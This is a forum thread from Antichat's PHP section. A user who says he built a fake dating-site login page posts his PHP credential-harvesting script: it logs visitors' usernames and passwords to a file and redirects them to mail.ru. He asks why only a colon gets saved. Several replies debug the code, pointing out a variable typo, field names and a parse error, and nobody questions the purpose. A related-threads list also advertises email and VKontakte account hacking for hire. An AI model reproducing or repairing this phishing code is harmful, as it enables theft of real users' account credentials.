HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > ПРОГРАММИРОВАНИЕ > PHP
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

что же здесь не так то???
  #1  
Старый 09.03.2009, 22:04
Ferment
Новичок
Регистрация: 03.03.2009
Сообщений: 7
С нами: 9047222

Репутация: -2
По умолчанию что же здесь не так то???

сделал очередной фэйк на знакомства, после ввода логина и пароля перекидывает человека куда нужно, к базе обращается и даже пишет в ней, но только двоеточие : , а не данные юзера
не глянете скрипт который за это отвечает, вроде всё проверил.....где ошибка?
<?PHP

$Login = $_POST['Login'];//?????
$Pass = $_POST['Password'];//??????
$fp = fopen("654321","a+"); // Îòêðûâàåì ôàéë áàçû
fwrite($fp,"$Login:$Passw\n"); // Çàïèñûâàåì ëîãèí:ïàðîëü
fclose($fp); // Çàêðûâàåì ôàéë

header(echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://cards.mail.ru/card.html


?>
 
Ответить с цитированием

  #2  
Старый 09.03.2009, 22:06
diznt
Постоянный
Регистрация: 31.01.2008
Сообщений: 643
С нами: 9619229

Репутация: 445


По умолчанию

fwrite($fp,"$Login:$Passw\n");

я думаю надо так

fwrite($fp,$Login.":".$Passw);

пробуй
 
Ответить с цитированием

  #3  
Старый 09.03.2009, 22:09
Gifts
Reservists Of Antichat - Level 6
Регистрация: 25.04.2008
Сообщений: 827
С нами: 9497186

Репутация: 1304


По умолчанию

Ferment Опечатка в коде, в одном месте $Pass в другом $Passw И еще одно - текст формы в студию, возможно поля называются не Login Password
 
Ответить с цитированием

  #4  
Старый 10.03.2009, 00:23
Ferment
Новичок
Регистрация: 03.03.2009
Сообщений: 7
С нами: 9047222

Репутация: -2
По умолчанию

сделал как написал diznt но результат не изменился. так и присылает на базу двоеточие и всё......
<?PHP

$Login = $_POST['Login'];//?????
$Pass = $_POST['Password'];//??????
$fp = fopen("654321","a+"); // Îòêðûâàåì ôàéë áàçû
fwrite($fp,$Login.":".$Pass); // Çàïèñûâàåì ëîãèí:ïàðîëü
fclose($fp); // Çàêðûâàåì ôàéë

header("Location: http://cards.mail.ru/card.html?cd=00dcfed993b461be466bcca05114e17f");
echo "<META HTTP-EQUIV=\"Refresh\" content =\"0; URL=http://win.mail.ru/cgi-bin/start?1390370218\">"//???? ?????? ???????????? ????? ???? ??? ?? ???? ??????!

?>
 
Ответить с цитированием

  #5  
Старый 10.03.2009, 00:40
nonamez
Познавший АНТИЧАТ
Регистрация: 22.07.2007
Сообщений: 1,291
С нами: 9897010

Репутация: 766


По умолчанию

Цитата:
$_POST['Password']
$_POST['Login']
скорей всего в этом дело-не правельные переменные пытаешься ловить
 
Ответить с цитированием

  #6  
Старый 10.03.2009, 00:42
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
С нами: 9649706

Репутация: 3338


По умолчанию

ТС просто не понимает, что он даже не весь код выложил
 
Ответить с цитированием

  #7  
Старый 10.03.2009, 00:56
kl0yn
Познающий
Регистрация: 15.12.2008
Сообщений: 30
С нами: 9159857

Репутация: 15
По умолчанию

как уже говорили проверь в форме названия инпутов "Login", "Password".
Возможно данные с формы передаються методом get.
Вообщем, попробуй $_REQUEST['Login'] вместо $_POST['Login']
 
Ответить с цитированием

  #8  
Старый 10.03.2009, 01:00
4adr0s
Познающий
Регистрация: 14.12.2007
Сообщений: 79
С нами: 9688243

Репутация: 75
По умолчанию

Я может и ламос, но вопрос такой: а не стоит ли переменные запятыми отделять??
fwrite($fp,$Login,":",$Passw);
 
Ответить с цитированием

  #9  
Старый 10.03.2009, 01:01
eLWAux
Постоянный
Регистрация: 15.06.2008
Сообщений: 941
С нами: 9423746

Репутация: 2399


По умолчанию

если би хоть кто-то запустил, он би увидел ошибку
Цитата:
Parse error: parse error, expecting `')'' on line 9
Код:
<?php

$Login = $_POST['Login'];
$Pass = $_POST['Password'];
$fp = fopen("654321","a+"); 
fwrite($fp,"$Login:$Passw\n");
fclose($fp);

header(echo "<html><head><META HTTP-EQUIV='Refresh'
    content ='0; URL=http://cards.mail.ru/card.html");

?>
видимо автор тупо скопировал скрипт
p.s.: даже при запуске пишет что ошибка на 9 строчке. так зачем ти ищеш ошибку во второй ?!

Последний раз редактировалось eLWAux; 10.03.2009 в 01:04..
 
Ответить с цитированием

  #10  
Старый 10.03.2009, 01:05
kl0yn
Познающий
Регистрация: 15.12.2008
Сообщений: 30
С нами: 9159857

Репутация: 15
По умолчанию

4adr0s,
int fwrite ( resource $handle, string $string [, int $length] )

$handle - хендл файла
$string - строка которую хочешь записать
$length - длина строки (этот параметр не объязателен)
т.е. максимум 3 параметра

а у тебя параметров 4
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Взлом E-Mail и анкет Vkontakte.ru на заказ Frost26 Freelance - О Работе 25 19.11.2009 22:00
Анеки=) porter Болталка 25 25.11.2006 21:10
Правда о докторе Айболите Дрэгги Болталка 17 30.09.2006 13:34



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.